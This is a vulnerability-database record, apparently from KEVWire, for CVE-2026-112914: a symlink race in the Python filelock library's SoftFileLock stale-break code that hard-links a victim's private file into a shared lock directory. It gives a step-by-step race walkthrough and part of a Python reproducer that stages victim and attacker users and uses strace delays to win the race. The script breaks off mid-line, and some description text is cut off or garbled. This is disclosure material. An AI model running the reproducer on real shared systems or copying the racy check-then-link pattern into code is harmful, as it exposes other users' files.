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Response snapshot Oct 27, 2026, 04:58 UTC

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VulnerabilityCVE-2026-112914

filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory

When a soft-lock stale break finds that the marker (the lock file at ` `) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.

Published Updated

At a glance

Exploited
Not known
Severity
5.3 Medium (CVSS 3.1)
Chance of exploitation
0.2% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-crv4-6mhj-j5jh (opens a new tab)

What happened

When a soft-lock stale break finds that the marker (the lock file at ` `) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.

12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.

The `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.

protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file.

Continue reading

Affected versions: filelock >= 4.1.0 and . `. In a directory without the sticky bit the lock user may rename a file it does not own. 2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file. 3.

The other user renames a symbolic link to the lock user's private file over the break name. 4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.

The other user's own `os.link()` on the private file fails with `EACCES` (it cannot enter the `0700` directory). On a file of the lock user it can reach, `fs.protected_hardlinks=1` answers `EPERM` (operation not permitted). The lock user would evict the odd "marker" after `MALFORMED_LOCK_AGE_THRESHOLD` (2 s), so the other user moves it to another name first, which the non-sticky directory allows.

Both steps are races against a few lines of Python. There are about 40 µs between the `lstat` on line 113 and the one on line 117 (half of it the `rename`), and about 2 µs between line 117 and the `os.link()` call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name.

A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.

## Reproduction

The scanner's reproducer for finding `ANT-2026-SB29HIAL`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.

**`repro`**

```python #!/usr/bin/env python3 import os import shutil import subprocess import sys

sys.stdout.reconfigure(line_buffering=True)

SHARED_DIR = "/tmp/shared-locks" LOCK_PATH = SHARED_DIR + "/app.lock" PRIVATE_DIR = "/home/victim/private" KEY_PATH = PRIVATE_DIR + "/signing.key" AS_VICTIM = {"user": "victim", "group": "victim", "extra_groups": []} AS_ATTACKER = {"user": "attacker", "group": "attacker", "extra_groups": []} # strace alters no call.

On calls that name the lock path it holds the victim 2 s after rename() and 2 s before # linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117). SLOWED_DOWN = ["strace", "-o", "/dev/null", "-P", LOCK_PATH, "-e", "trace=rename,linkat"] SLOWED_DOWN += ["-e", "inject=rename:delay_exit=2000000", "-e", "inject=linkat:delay_enter=2000000"]

# set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit shutil.rmtree(PRIVATE_DIR, ignore_errors=True) os.mkdir(PRIVATE_DIR, 0o700) with open(KEY_PATH, "w") as key_file: key_file.write("0123456789abcdef\n") os.chmod(KEY_PATH, 0o600) shutil.chown(PRIVATE_DIR, "victim", "victim") shutil.chown(KEY_PATH, "victim", "victim") shutil.

rmtree(SHARED_DIR, ignore_errors=True) os.mkdir(SHARED_DIR) os.chmod(SHARED_DIR, 0o777) key_before = os.stat(KEY_PATH) print(f"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}") for knob in ("protected_hardlinks", "protected_symlinks"): print(f"fs.{knob} =", open(f"/proc/sys/fs/{knob}").read().strip())

# control: the attacker cannot give the key a name in the shared directory by itself link_by_attacker = f"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})" control = subprocess.run([sys.executable, "-c", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER) print("CONTROL the attacker's own link() of the key:", control.stderr.strip().splitlines()[-1])

# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name subprocess.run([sys.executable, "/tmp/repro.d/plant_stale_marker.py", LOCK_PATH], check=True, **AS_ATTACKER) attacker = subprocess.Popen([sys.executable, "/tmp/repro.d/swap_break_name.py", LOCK_PATH, KEY_PATH], **AS_ATTACKER) victim_job = [*SLOWED_DOWN, sys.executable, "/tmp/repro.d/victim_job.py", LOCK_PATH] subprocess.

run(victim_job, check=True, timeout=60, **AS_VICTIM) assert attacker.wait(timeout=30) == 0, "the attacker did not get through its steps"

# check, as root: does the key now have a name in the shared directory? key_after = os.stat(KEY_PATH) names_of_the_key = [ name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f"{SHARED_DIR}/{name}")) ] print(f"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}")

if names_of_the_key: # w

Affected package ranges reported by GitHub: filelock: >= 4.1.0, <= 4.2.0

Scores and how they were measured

CVSS base severity

5.3

Version 3.1As of

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.2%

Scored Percentile 5.3%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-crv4-6mhj-j5jh (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-crv4-6mhj-j5jh, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-112914, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory (CVE-2026-112914). https://kevwire.com/record/CVE-2026-112914

MLA

"filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory (CVE-2026-112914)." KEVWire, 23 Oct. 2026, kevwire.com/record/CVE-2026-112914.

Chicago

KEVWire. "filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory (CVE-2026-112914)." Last modified October 23, 2026. https://kevwire.com/record/CVE-2026-112914.

Evidence summary (plain text)

filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory (Oct 23, 2026).
When a soft-lock stale break finds that the marker (the lock file at ` `) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.

The `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and . `. In a directory without the sticky bit the lock user may rename a file it does not own.
2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.
3. The other user renames a symbolic link to the lock user's private file over the break name.
4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.
CVSS 5.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-crv4-6mhj-j5jh).
EPSS 0.2% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112914&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-crv4-6mhj-j5jh: https://github.com/advisories/GHSA-crv4-6mhj-j5jh
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112914&date=2026-10-26
Record ID: CVE-2026-112914.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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